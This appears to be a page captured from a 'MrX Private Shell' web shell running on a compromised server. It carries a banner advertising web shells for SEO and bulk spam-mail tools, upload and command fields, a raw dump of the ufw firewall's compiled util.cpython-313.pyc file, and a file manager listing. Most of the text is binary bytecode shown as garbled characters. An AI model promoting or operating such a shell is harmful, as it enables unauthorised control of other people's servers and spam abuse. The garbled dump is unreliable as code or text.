__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

6m�g���F�SrSSKJr SSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r
SSKrSSKrSSK
r
SSKrSSKrSSKJr SSKJrJr SrSr/SQr/SQrS	S
/rSrSrS
rSrSrS9SjrSr Sr!Sr"Sr#S:Sjr$Sr%Sr&Sr'S:Sjr(Sr)\RTS4Sjr+Sr,Sr-Sr.S r/\	R`"54S!jr1\	R`"54S"jr2S#r3S$r4S%r5S&r6S'r7S(r8S)r9S*r:S;S+jr;S<S,jr<S-r=S=S.jr>S/r?S0r@S1rAS2rBS3rCS4rDS5rES6rFS>S7jrGS8rHg)?z"util.py: utility functions for ufw�)�print_functionN)�reduce)�mkstemp�mktempF)�tcp�udp�ipv6�esp�ah�igmp�gre�vrrp)r	r
rrr
rr	rc��Sn[R"U5 [R"US5 Sn[R"US5 US:XaSnU$SnU$![a ef=f![a NBf=f![a U$f=f)z8Get the protocol for a specified port from /etc/services�rr�any)�socket�
getservbyname�	Exception)�port�protos  �*/usr/lib/python3/dist-packages/ufw/util.py�get_services_protor.s����E�����T�"�
����T�5�)���
����T�5�)��E�>��E��L�	�E��L��%��
����
��
���
���L�
�s3�A�A*�A:�A:�A'�*
A7�6A7�:
B�Bc�
�SnSnURS5n[U5S:Xa
USnSnX4$[U5S:Xa1USnUSnU[;a[SU-5n[	U5eX4$[S5n[	U5e)	zParse port or port and protocolr�/�rr�zInvalid port with protocol '%s'zBad port)�split�len�portless_protocols�_�
ValueError)�p_strrr�tmp�err_msgs     r�parse_port_protor%Hs���
�D��E�
�+�+�c�
�C�
�3�x�1�}��1�v����
�=��

�S��Q���1�v���A����&�&��9�E�A�B�G��W�%�%�'�
�=���J�-����!�!�c��[R(d[S5 g[U5S:�d[R
"SU5(dgUR
S5n[R"[RUS5 [U5S:�ag[U5S:Xa[USS	5(dgg	![a gf=f)
zVerifies if valid IPv6 addressz"python does not have IPv6 support.F�+z^[a-fA-F0-9:\./]+$rrrrT)r�has_ipv6�warnr�re�matchr�	inet_pton�AF_INET6r�_valid_cidr_netmask��addr�nets  r�valid_address6r3\s����?�?��
1�2���4�y�2�~�R�X�X�&;�T�B�B��
�*�*�S�/�C��������#�a�&�1��3�x�!�|��	�S��Q��"�3�q�6�4�0�0��������s� (B=�=
C
�	C
c��[U5S:�d[R"SU5(dgURS5n[R
"[RUS5 [USS5(dg[U5S:�ag[U5S:Xa[USS5(dgg![a gf=f)	zVerifies if valid IPv4 address�z^[0-9\./]+$FrrrrT)
rr+r,rrr-�AF_INET�_valid_dotted_quadsr�
valid_netmaskr0s  r�valid_address4r9vs����4�y�2�~�R�X�X�n�d�;�;��
�*�*�S�/�C���������Q��0�"�3�q�6�5�1�1��2�
�3�x�!�|��	�S��Q���S��V�U�+�+��������s�<B2�2
B?�>B?c�<�[X5=(d [X5$)z(Verifies if valid cidr or dotted netmask)r/r7)�nm�v6s  rr8r8�s���r�&�E�*=�b�*E�Er&c��US:Xa[U5$US:Xa[U5$US:Xa[U5=(d [U5$[e)zValidate IP addresses�6�4r)r3r9r!)r1�versions  r�
valid_addressrA�sI���#�~��d�#�#�	�C���d�#�#�	�E�	��d�#�;�~�d�';�;�
�r&c��/nSnSn[RnU(aSn[RnSU;aBURS5nU(a
USS:XaUS	O.U(dUSS:Xd	USS:XaUS	OUR	U5 U(d6[U5S	:Xa'[
USU5(a[USU5US'US
n[R"U[R"XV55nXbS
:waSn[U5S	:Xa<USUS--
nU(d*[U5nXv:waSU<S
U<S3n[U5 UnSn[Xd5(dSU-n[U5 [eXc4$![a N�f=f)z�Convert address to standard form. Use no netmask for IP addresses. If
netmask is specified and not all 1's, for IPv4 use cidr if possible,
otherwise dotted netmask and for IPv6, use cidr.
Fr?r>rr�128�32z255.255.255.255rrTzUsing 'z' for address '�'zInvalid address '%s')rr6r.r�appendrr7�_dotted_netmask_to_cidrr�	inet_ntopr-�_address4_to_network�debugrAr!)	�origr<r2�changedr@�s_typer1�network�dbg_msgs	         r�normalize_addressrP�sy��

�C��G��G�
�^�^�F�	�������
�d�{��j�j��o��
�#�a�&�E�/��A����Q��4��3�q�6�5F�+F��A����
�
�4��
�#�c�(�a�-�$7��A���$C�$C�	�,�S��V�R�8�C��F�
�q�6�D����F�F�$4�$4�V�$B�C�D��1�v�~���
�3�x�1�}���c�!�f�����*�4�0�G���;B�D�I���g��������'�'�(�D�1��
�g�����?���5�	��	�s�4E4�4
F�Fc��[US5$)z"Opens the specified file read-only�r)�open)�fns r�open_file_readrU�s����C�=�r&c�z�[U5n[5up#XX#S.$![a UR5 ef=f)z=Opens the specified file read-only and a tempfile read-write.)rK�orignamer#�tmpname)rUrr�close)rTrKr#rXs    r�
open_filesrZ�sD���"��D�� ����
�#�K�K��	���
�
��
��s��:c��US:XagU(d[[RS5e[(a8U[R
R
5:Xa[RU5 gSn[RSS:�a"[R"U[US55nO[R"X5nUS::a[[RS5eg)	zwWrite to the file descriptor and error out of 0 bytes written. Intended
to be used with open_files() and close_files().rNzNot a valid file descriptor���r��asciiz"Could not write to file descriptor)�OSError�errno�ENOENT�
msg_output�sys�stdout�fileno�write�version_info�os�bytes�EIO)�fd�out�rcs   r�
write_to_filern�s����b�y��
��e�l�l�$A�B�B��z�b�C�J�J�-�-�/�/�������	�B�
�����a��
�X�X�b�%��W�-�
.��
�X�X�b�
��	�Q�w��e�i�i�!E�F�F�r&Tc��USR5 [R"US5 U(a:[R"USUS5 [R"USUS5 [R
"US5 g)zjCloses the specified files (as returned by open_files), and update
original file with the temporary file.
rKr#rWrXN)rYrh�shutil�copystat�copy�unlink)�fns�updates  r�close_filesrvsc����K�����H�H�S��Z��
�����J���Y��8����C�	�N�C�
�O�4��I�I�c�)�n�r&c��[U5 [R"U[R[RSS9nUR5SnUR[
U5/$![
anS[
U5/sSnA$SnAff=f)z!Try to execute the given command.T)rd�stderr�universal_newlines�Nr)	rJ�
subprocess�Popen�PIPE�STDOUTr_�str�communicate�
returncode)�command�sp�exrls    r�cmdr�sx��	�'�N��
�
�
�g�j�o�o�%/�%6�%6�15�7��
�.�.�
�1�
�C��M�M�3�s�8�$�$��	���S��W�~����s�3A*�*
B�4B�B�Bc�"�[R"U[RS9n[R"XRS9nUR
5SnUR[U5/$![anS[U5/sSnA$SnAff=f)z#Try to pipe command1 into command2.)rd)�stdinrzNr)r{r|r}rdr_rr�r�)�command1�command2�sp1�sp2r�rls      r�cmd_piper�$sw������x�
���@�����x�z�z�:���/�/�
�A�
�C��N�N�C��H�%�%��	���S��W�~����s�AA-�-
B�7B	�B�	Bc�l�URnURSS5n[(a;[R
"[R5(aURU5 OUR[U55 UR5 g![a UnN�f=f![a UnN�f=f)zJImplement our own print statement that will output utf-8 when
appropriate.�utf-8�ignoreN)�bufferr�encoderb�inspect�isclass�io�StringIOrfri�flush)�output�s�writerrls    r�_printr�2s����������h�h�w��)��
�z�g�o�o�b�k�k�2�2����Q�����U�3�Z� �
�L�L�N�������������s"�B�B$�B!� B!�$B3�2B3c��[[RSU-5 U(a[R"S5 gg![a N+f=f)zPrint error message and exitz
ERROR: %s
rN)r�rcrx�IOError�exit)rl�do_exits  r�errorr�GsC��
��s�z�z�=�3�.�/����������
��
�s�>�
A�
Ac�`�[[RSU-5 g![a gf=f)zPrint warning messagez	WARN: %s
N)r�rcrxr��rls rr*r*Rs,��
��s�z�z�<�#�-�.���
��
�s� �
-�-c��[(aU[R:Xa[nU(a[USU-5 g[USU-5 g![a gf=f)z
Print messagez%s
�%sN)rbrcrdr�r�)rlr��newlines   r�msgr�ZsM���z�f��
�
�*���
���6�6�C�<�(��6�4�#�:�&���
��
�s�A�A�
A�Ac�x�[(a[[RSU-5 gg![a gf=f)zPrint debug messagez
DEBUG: %s
N)�	DEBUGGINGr�rcrxr�r�s rrJrJhs8���y�	��3�:�:�}�s�2�3����	��	�s�,�
9�9c�@�[U4SjURS55$)z�
    A word-wrap function that preserves existing line breaks
    and most spaces in the text. Expects that existing line
    breaks are posix newlines (
).
    c	��U<S[U5URS5-
S-
[URSS5S5-U:�<U<3$)Nz 
�
rr)r�rfindr)�line�word�widths   r�<lambda>�word_wrap.<locals>.<lambda>wsT����#�d�)�D�J�J�t�$4�4�q�8��d�j�j��q�1�!�4�5�6�9>�?�A��	3r&� )rr)�textr�s  r�	word_wrapr�qs%���5��
�*�*�S�/��r&c��[US5$)zWord wrap to a specific width�K)r�)r�s r�	wrap_textr��s���T�2��r&c�2^�SmURU4SjS9 g)z�Sorts list of strings into numeric order, with text case-insensitive.
Modifies list in place.

Eg:
[ '80', 'a222', 'a32', 'a2', 'b1', '443', 'telnet', '3', 'http', 'ZZZ']

sorts to:
['3', '80', '443', 'a2', 'a32', 'a222', 'b1', 'http', 'telnet', 'ZZZ']
c�b�UR5(a[U5$UR5$�N)�isdigit�int�lower)�ts rr��human_sort.<locals>.<lambda>�s ��q�y�y�{�{�S��V�9����	�9r&c�j>�[R"SU5Vs/sHnT"U5PM
 sn$s snf)Nz([0-9]+))r+r)�k�c�norms  �rr�r��s(���b�h�h�z�1�.E�F�.E��T�!�W�.E�F��Fs�0)�keyN)�sort)�lstr�s @r�
human_sortr��s���:�D��H�H�F�H�Gr&c��[U5n[RRS[
U5S5n[RRU5(d[SU-5e[U5R5SRSS5SR5Sn[U5$![a [S5ef=f)zYFinds parent process id for pid based on /proc/<pid>/stat. See
'man 5 proc' for details.
zpid must be an integer�/proc�stat�Couldn't find '%s'r�)r)
r�rr!rh�path�joinr�isfiler�rS�	readlines�rsplitr)�mypid�pid�name�ppids    r�get_ppidr��s���3��%�j���7�7�<�<���S��6�2�D�
�7�7�>�>�$����*�d�3�4�4���:���!�!�$�+�+�C��3�A�6�<�<�>�q�A�D��t�9����3��1�2�2�3�s�B4�4C
c��[U5nUS:XdUS::ag[RRS[U5S5n[RRU5(d[S5U-n[
U5e[U5R5SR5Sn[S
U-5 US:Xag[U5$![a [S5n[U5 g[a# [S5[U5-n[
U5ef=f![a [S	5U-n[
U5ef=f)
z1Determine if current process is running under sshz%Couldn't find pid (is /proc mounted?)Fz!Couldn't find parent pid for '%s'rr�r�r�rz"Could not find executable for '%s'zunder_ssh: exe is '%s'z(sshd)T)r�r�r r*rrr!rhr�r�r�rSr�rrJ�	under_ssh)r�r��warn_msgr$r��exes      rr�r��s2��"���}���a�x�4�1�9��
�7�7�<�<���T��F�3�D�
�7�7�>�>�$����(�)�T�2����!�!�"��4�j�"�"�$�Q�'�-�-�/��2��
�
"�c�
*�+��h��������;���<�=���X����"��7�8�C��H�E����!�!�"�� �"��8�9�T�B����!�!�"�s�C�-D � D�1,D� $Ec��SnU(aSn[R"SU5(a[U5S:d[U5U:�agg)zVerifies cidr netmasks� ��^[0-9]+$rFT)r+r,r�)r;r<�nums   rr/r/�s:��
�C�	���
�8�8�K��$�$��B��!��s�2�w��}��r&c���U(ag[R"SU5(aRURS5n[U5S:wagUH*nU(a [	U5S:d[	U5S:�dM* g gg)z.Verifies dotted quad ip addresses and netmasksFz^[0-9]+\.[0-9\.]+$�.�r�T)r+r,rrr�)r;r<�quads�qs    rr7r7�sc��	��
�8�8�)�2�.�.��H�H�S�M�E��5�z�Q������C��F�Q�J�#�a�&�3�,� ���r&c	��SnU(a[e[X5(d[eSn[[R"S[
R"U55S5nSn[S5H"nXF-	S-S:XaSnMU(aSn O	US-
nM$ US:�aUS::a[SU-
5n[X!5(d[eU$![a: [[R"S[
R"U55S5nN�f=f)	z@Convert netmask to cidr. IPv6 dotted netmasks are not supported.rr�>LFr�rTr\)r!r7�long�struct�unpackr�	inet_aton�	NameErrorr��rangerr/)r;r<�cidr�mbits�bits�	found_one�ns       rrGrG�s���
�D�	���"�2�*�*�����
	E���
�
�d�F�,<�,<�R�,@�A�!�D�E�D��	��r��A��	�Q��!�#� �	���E���Q�J�E���A�:�%�2�+��r�E�z�?�D��t�(�(����K��)�	E��v�}�}�T�6�+;�+;�B�+?�@��C�D�D�	E�s�7C�AD	�D	c�j�SnU(a[e[X5(d[e[S5n[	S5HnU[U5:dMUSSU-
--nM! [R"[R"SU55n[X!5(d[eU$![a SnNf=f)z<Convert cidr to netmask. IPv6 dotted netmasks not supported.rrr�rr5r�)r!r/r�r�r�r�r�	inet_ntoar��packr7)r�r<r;r�r�s     r�_cidr_to_dotted_netmaskr�$s���	�B�	���"�4�,�,���
	���7�D��r��A��3�t�9�}���R�!�V��#����
�
�f�k�k�$��5�
6���r�&�&���
�I���	��D�	�s�B#�#B2�1B2c	�8�SU;a
[S5 U$URS5n[U5S:wd[USS5(d[eUSnUSnUn[US5(a[
US5n[[R"S[R"U55S5n[[R"S[R"U55S5nXV-n[R"[R"SU55nU<SU<3$![aq [[R"S[R"U55S5n[[R"S[R"U55S5nN�f=f)z8Convert an IPv4 address and netmask to a network addressrz8_address4_to_network: skipping address without a netmaskrrFrr�)rJrrr7r!r/r�r�r�r�rr�r�r�r�r�)	r1r#�host�orig_nmr;�	host_bits�nm_bits�network_bitsrNs	         rrIrIAsS��
�$��
�H�I���
�*�*�S�/�C�
�3�x�1�}�/��A���>�>����q�6�D��!�f�G�	�B��2�u�%�%�
$�R��
/��D�����t�V�-=�-=�d�-C�D�Q�G�H�	��v�}�}�T�6�+;�+;�B�+?�@��C�D��
�&�L����v�{�{�4��>�?�G��w�'�'���D���
�
�d�F�,<�,<�T�,B�C�A�F�G�	��f�m�m�D�&�*:�*:�2�*>�?��B�C��D�s�8A.D�A8F�Fc���SnSU;a
[S5 U$URS5n[U5S:wd[USS5(d[eUSnUSn[
R"S[R"[RU55n[S5n[S	5H?nU"XWS
5n[S
5H"n	US[X�5-SU	-
US
--
--nM$ MA [S5n
[S5HnU[U5:dMU
SSU-
--n
M! Xj-n/n[S	5H1nUR[U"US5US
-US
-S
-S55 M3 [R"[R[
R "SUSUSUSUS
USUSUSUS5	5n
U
<SU<3$![a SnGN?f=f![a Sn
N�f=f)z8Convert an IPv6 address and netmask to a network addressc	��SR[US-
SS5Vs/sHn[X-	S-5PM sn5$s snf)zDecimal to binaryrrr\)r�r�r)r��count�ys   r�dec2bin�%_address6_to_network.<locals>.dec2binfs=���w�w�U�5��7�B��5K�L�5K���S�X��N�+�5K�L�M�M��Ls�?rz8_address6_to_network: skipping address without a netmaskrrTrz>8H��rzr�r]r����)rJrrr8r!r�r�rr-r.r�r�r�r�rFrHr�)r1rr#�	orig_host�netmask�unpackedr��ir��jr�r2r�rNs              r�_address6_to_networkrds��N��$��
�H�I���
�*�*�S�/�C�
�3�x�1�}�M�#�a�&�$�7�7����A��I��!�f�G��}�}�U�F�$4�$4�V�_�_�5>�%@�A�H����G�	��1�X���H�K��$���r��A��!�c�!�$�i�-�S��U�1�R�4�Z�8�8�I�����q�'���3�Z���s�7�|���q�W��M�)�)�G��
�
�C�
�C�
�1�X���
�
�3�w�s�C�(��2��a��d�2�g�6��:�;�����v���%�{�{�5�#�a�&�#�a�&�+.�q�6�3�q�6�3�q�6�+.�q�6�3�q�6�3�q�6� C�D�G�
�w�'�'��A���	��������s$�G�0G$�G!� G!�$G3�2G3c�v�URS5n[U5S:wd[USU5(d[eUSnUSnUS:XdUS:XagUnSU;a?URS5n[U5S:wd[USU5(d[eUSnUS:XdUS:XagU(a'[	U5(a[	U5(d[eO&[U5(a[U5(d[e[
XR5(aU(d[XR5nU(aL[U<SU<35RS5Sn[U<SU<35RS5SnX�:H$[U<SU<35RS5Sn[U<SU<35RS5SnX�:H$)z&Determine if address x is in network yrrrrz0.0.0.0z::T)
rrr8r!r3r9r/r�rrI)	�
tested_add�
tested_netr<r#rr�address�orig_networkrNs	         r�
in_networkr�s���
�
�
�3�
�C�
�3�x�1�}�M�#�a�&�"�5�5����A��I��!�f�G��I���d�!2���G�
�g�~��m�m�C� ���s�8�q�=�
�c�!�f�b� 9� 9����a�&���)��w�$���	��g�&�&�n�Y�.G�.G���/H��g�&�&�n�Y�.G�.G����7�'�'��)�'�6��
�+�-6��-A�B�BG�%��*�Q�P��&�(/��(:�;�;@�5��:�a�I���"�"�,�-6��-A�B�BG�%��*�Q�P��&�(/��(:�;�;@�5��:�a�I���"�"r&c���SnSHKn[RRUS5n[RRU5(a OSnMM US:Xa[	[
RS5eU$)Nr)z/sbinz/binz	/usr/sbinz/usr/binz/usr/local/sbinz/usr/local/bin�iptableszCould not find iptables)rhr�r��existsr_r`ra)r��ds  r�_find_system_iptablesr�sd��
�C�3���g�g�l�l�1�j�)��
�7�7�>�>�#�����C�3��b�y��e�l�l�$=�>�>��Jr&c���Uc
[5n[US/5upUS:wa[[RSU-5eUR5n[R"SSUS5$)zReturn iptables versionz-VrzError running '%s'z^vrr)rr�r_r`rarr+�sub)r�rmrlr#s    r�get_iptables_versionr�s_��
�{�#�%���S�$�K� �I�R�	�Q�w��e�l�l�$8�C�$@�A�A�

�)�)�+�C�
�6�6�$��C��F�#�#r&c�L�SnU(a3[R"5S:wa[[RS5eUc
[5n/nSnUR
S5(aSnU[SSS9-
n[US	U/5upVUS:wa[[RU5eU"X/S
Q5(aURS5 U"X/SQ5(aURS
5 [USU/5 [USU/5upVUS:wa[[RU5eU$)zTReturn capabilities set for netfilter to support new features. Callers
must be root.c�:�USU/n[X2-5upEUS:Xagg)Nz-ArTF)r�)r��chain�rule�argsrmrls      r�test_cap�,get_netfilter_capabilities.<locals>.test_cap�s)���T�5�!�����$�	��
��7��r&rzMust be rootz
ufw-caps-test�	ip6tableszufw6-caps-testr)�prefix�dirz-N)�-m�	conntrack�	--ctstate�NEWr%�recentz--setz
recent-set)r%r&r'r(r%r)z--updatez	--seconds�30z
--hitcountr>z
recent-updatez-Fz-X)rh�getuidr_r`�EPERMr�endswithrr�rarF)r��	do_checksr �capsrrmrls       r�get_netfilter_capabilitiesr0�s����R�Y�Y�[�A�%��e�k�k�>�2�2�
�{�#�%��
�D��E�
�|�|�K� � � ��
�V�2�2�
&�&�E��S�$��&�'�I�R�	�Q�w��e�l�l�C�(�(���6�7�7����L�!���0�1�1�	
���O�$���d�E����S�$��&�'�I�R�	�Q�w��e�l�l�C�(�(��Kr&c��[U5n[5nUR5GHnURS5(dURS5(dM2UR	5nUSnUSR	S5Sn[5nSRUSR	S5SS5US'US	US
'USR	S5SUS
'US
S:Xa	US
US'OUSR	S5SUS'XR;a[5X%'/X%U'OXbU;a/X%U'X%UR
U5 GM  U$)z:Get and parse netstat the output from get_netstat_output()rrrr�:r\N�laddrr]�uidrrr��-r�)�get_netstat_output�dict�
splitlines�
startswithrr�rF)r<�netstat_outputrr�r#rr�items        r�parse_netstat_outputr<'sE��(��+�N���A��)�)�+�����u�%�%�d�o�o�e�.D�.D���j�j�l���A����1�v�|�|�C� ��$���v������Q����c�!2�3�B�!7�8��W�
��!�f��U���!�f�l�l�3�'��*��U����;�#���u�+�D��K��a�&�,�,�s�+�A�.�D��K��>��v�A�H��A�H�T�N��U�8�#�!#�����	������d�#�1,�4
�Hr&c���SnU(GaSn[RRU5(d[[R
SU-5e[
U5R5H�nUR5nXS:XdMSR[S[US5S5Vs/sHoeSXfS-PM sn5nUSR5S	:wdMvU<S
[USR5S5<3nM� US:Xa[[RS5eO�[ R "[ R"[ R$5n[ R&"[(R*"UR-5S
[.R0"SUSS55SS5n[5X!5S$s snf![2a [[RS5ef=f)zGet IP address for interfacer�/proc/net/if_inet6�'%s' does not existrr2rr�r�80rr�No such devicei��256sN���)rhr�rr_r`rarSr�rr�r�rr�r�r��ENODEVrr6�
SOCK_DGRAMr��fcntl�ioctlrer�r�rrP)�ifnamer<r1�procr�r#r
r�s        r�get_ip_from_ifrLMs���
�D�
�#���w�w�~�~�d�#�#��%�,�,�(=��(D�E�E���J�(�(�*�D��*�*�,�C��Q����x�x�38��C��A��K��3K�L�3K�a��F�1�q�S�M�3K�L�N���q�6�<�<�>�T�)�&*�C��A������,C�D�D�+��2�:��%�,�,�(8�9�9��
�M�M�&�.�.�&�*;�*;�<��	:��#�#�E�K�K����
�F�$*�K�K���s���$D�%F�FH��%M�N�D�
�T�&�q�)�)��M���	:��%�,�,�(8�9�9�	:�s�*F=
�AG�%G'c
���SnSn[U5(aSnSnO*[U5(d[[RS5e[
RRU5(d[[RSU-5eSnU(a�[U5R5H�nUR5nUSR5nS	R[S
[!US
5S5Vs/sHouS
XwS-PM sn5nUSR#5S
:wa$U<S[%USR#5S5<3nX:XdSU;dM�['XS5(dM�Un U$ U$[U5R5HDnS	U;aMURS	5S
R5n[)US5n	X�:XdMAUn U$ U$s snf![a M\f=f)zGet interface for IP addressFz
/proc/net/devTr>rAr?rrr2rr�rr@rr)r3r9r�r`rFrhr�rr_rarSr�r�stripr�r�rr�r�rrL)
r1r<rK�matchedr�r#rJr
�tmp_addr�ips
          r�get_if_from_iprRms���	�B��D��d���
��#��
�D�
!�
!��e�l�l�$4�5�5�
�7�7�>�>�$����e�l�l�$9�D�$@�A�A��G�	���J�(�(�*�D��*�*�,�C���V�\�\�^�F��x�x�38��C��A��K��3K�L�3K�a��F�1�q�S�M�3K�L�N�H��1�v�|�|�~��%�&.��C��F�L�L�N�B�0G�H�����x��J�t�t�$D�$D� ��� �N�9+�8�N���J�(�(�*�D��$����Z�Z��_�Q�'�-�-�/�F�
�#�F�E�2���z� ����N�+��N��/M�� �
��
�s�3G
�9G�
G(�'G(c�h�[R"S5nUR5 [R"S5n[5nUGH1nUR
U5(dM[RRSUS5n[R"U[R[R-5(dMzSn[R"[RRSUS55n[R"U5nUHbn[R"[RRXG55SnU<S[RRU5<3X('Md GM4 U$![a N�f=f![a GMVf=f![a M�f=f)zGet inodes of files in /procr�r�rkr5r�rr)rh�listdirr�r+�compiler7r,r�r��access�F_OK�R_OK�readlinkrr��basename)	�
proc_files�pat�inodesr
�fd_path�exe_path�dirsr�inodes	         r�_get_proc_inodesrb�sM�����G�$�J��O�O��
�*�*�[�
!�C�
�V�F�
���y�y��|�|���'�'�,�,�w��4�0���y�y��"�'�'�B�G�G�"3�4�4����	��{�{�2�7�7�<�<���E�#B�C�H�	��:�:�g�&�D��A�
���������W� 8�9�!�<��()�"�'�'�*:�*:�8�*D�E�F�M��+�8�M���	��	��
�	��	���
��
�s6�5F�<F�6F#�
F�
F�
F �F �#
F1�0F1c��SSSSSSSSS	S
SS.nS
SSSS.n[RRSU5n[R"U[R[R
-5(d[e/nSn[U5R5nUH�nUR5nU(dSnMU[X�SS5n	URS5(aSn	OURS5(aU	S
:waMiX�SRS5up�X�SnX�Sn
URU
[US5X�U	45 M� U$)z=Read /proc/net/(tcp|udp)[6] file and return a list of tuples �ESTABLISHED�SYN_SENT�SYN_RECV�	FIN_WAIT1�	FIN_WAIT2�	TIME_WAIT�CLOSE�
CLOSE_WAIT�LAST_ACK�LISTEN�CLOSING)rrr]r�rrrr�	�
�rr]rro)�
local_addr�stater4raz	/proc/netFTrsrr�NArrrr2r4ra)
rhr�r�rVrWrXr!rSr�rr�r9rF)�protocol�
tcp_states�proc_net_fieldsrTr��
skipped_first�linesr��fieldsrsr3rr4ras              r�_read_proc_net_protocolr{�sU��#� � �!�!�!��"� �� ��J�'(�!"� �!"��O�
�����k�8�	,�B�
�9�9�R����2�7�7�*�+�+���
�C��M���H��� �E��������� �M���3�v�g�&>�?��D�E�����u�%�%��E�
�
 �
 ��
'�
'�E�X�,=���\�:�;�A�A�#�F����U�+�,���w�/�0���
�
�E�3�t�R�=�#�e�<�=���Jr&c�l�Sn[U5S:�a�Sn[SSS5H;nUSR[US-US5Vs/sH
o@US-
UPM sn5-
nM= [SR[S[U5S5Vs/sHoBXDS-R	5PM sn5S	5SnU$/n[SSS5Vs/sH
o@US-
UPM snH'nUR[
[US
555 M) [SRU5S5SnU$s snfs snfs snf)
zDConvert an address from /proc/net/(tcp|udp)* to a normalized addressrrrr����rr2r�Trr�F)rr�r�rPr�rFrr�)�paddr�	convertedr#r
rs     r�convert_proc_addressr��s.���I�
�5�z�A�~����q�"�a��A��2�7�7�5��1��a��3D�F�3D�a�1�Q�3�q�\�3D�F�G�G�C�!�%�c�h�h�,1�!�S��X�q�,A�B�,A�q�A��c�
� � �"�,A�B�'D�����	�����).�q�!�R��:��A��1��Q�<��:�A��J�J�s�3�q�"�:��'�;�%�c�h�h�s�m�U�;�A�>�	����G��B��;s�D'�D,�D1c��[5nSS/nU(aUSS/-
nUHn[U5X'M [5n[
UR55nUR5 SnUHdnXHYup�p�n[U5n
Sn[U5U;aU[U5nXs<SS	U
<S
U	<3<SS	U<SS	U
<SS	U<SS	U<S
3-
nM[ Mf U$![a [SU-5n[	U5 M�f=f)z5netstat-style output, without IPv6 address truncationrr�tcp6�udp6z!Could not get statistics for '%s'rr5�5r�r2�46�11r�)r7r{rr r*rb�list�keysr�r�r�)r<�
proc_net_datar�pr�r]�	protocolsr�r3rr4rarsr1r�s               rr6r6s
���F�M�
�E�N�E�	�
�&�&�!�!��
��	�6�q�9�M����
�F��]�'�'�)�*�I�
�N�N��
�A�
��0=�0@�,�U�#�e�'��.�D��C��5�z�V�#��S��Z�(��
�q�BF��7M�7<�c�5�#�O�
O�A�1A��
�H��/�	��<��B�C�H���N��	�s�
C�#C<�;C<c���UcU$URS5(a8[U5S:aUnU$[RR	XSS5nU$[RR	X5nU$)zAdd prefix to dirNrrr)r9rrhr�r�)r$r#�newdirs   r�	_findpathr�&sl��
�~��
�
�~�~�c����s�8�a�<��F�
�M��W�W�\�\�&�a�b�'�2�F��M������f�*���Mr&c���[RSS:a[R"US5$[R
"URSSS95R
S5$)z,Take a string and convert it to a hex stringrr]�hexr�r�)�errorsr^)rcrg�codecsr��binascii�hexlify�decode)r�s r�
hex_encoder�4sQ��
�����Q���}�}�Q��&�&����A�H�H�W�X�H�>�?�F�F�w�O�Or&c���[RSS:aURSS9RS5$[R"S[U5S-(aUSS	OU-5RSS
5$)z,Take a hex string and convert it to a stringrr]r�)�encodingr�r�rNr\�backslashreplace)rcrgr�r��	unhexlifyr)�hs r�
hex_decoder�=sn��
�����Q���x�x��x�'�.�.�w�7�7����d��A���
�a���f��B�C�J�J��#��r&c�z�SnU(d1[US5n[R"U[R5 U$)zCreate a blocking lockfileN�w)rSrH�lockf�LOCK_EX)�lockfile�dryrun�locks   r�create_lockr�Ls-���D���H�c�"��
���D�%�-�-�(��Kr&c��Ucg[R"U[R5 UR5 g![a gf=f)z(Free lockfile created with create_lock()N)rHr��LOCK_UNrYr!)r�s r�release_lockr�Us>���|��
�
���D�%�-�-�(��
�
����
�	
�
�s�5<�
A	�A	)r)Tr�)NT)F)z
/run/ufw.lockF)I�__doc__�
__future__rr�r�r`rHr�r�rhr+rprr�r{rc�	functoolsr�tempfilerrr�rb�supported_protocolsr�ipv4_only_protocolsrr%r3r9r8rArPrUrZrnrvr�r�r�r�r*rdr�rJr�r�r��getpidr�r�r/r7rGr�rIrrrrr0r<rLrRrbr{r�r6r�r�r�r�r��r&r�<module>r�sr��(�"&��
���	��	�	�
�
�
��
��$��	�
�
�Q��A���v�&���4�(�4�2F�	�4�n�

L�G�2�%�	&��*�
��J�J��
����
H��9�9�;��.�)�)�+�!�N	��2$�\�: (�F7(�t,#�h�	$�6�r#
�L*�@,�^"�J,�^�& 
�F�P���

r&

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 143 B 0644
applications.cpython-313.pyc File 7.18 KB 0644
backend.cpython-313.pyc File 30.57 KB 0644
backend_iptables.cpython-313.pyc File 58.33 KB 0644
common.cpython-313.pyc File 27.22 KB 0644
frontend.cpython-313.pyc File 38.58 KB 0644
parser.cpython-313.pyc File 31.12 KB 0644
util.cpython-313.pyc File 40.09 KB 0644
Filemanager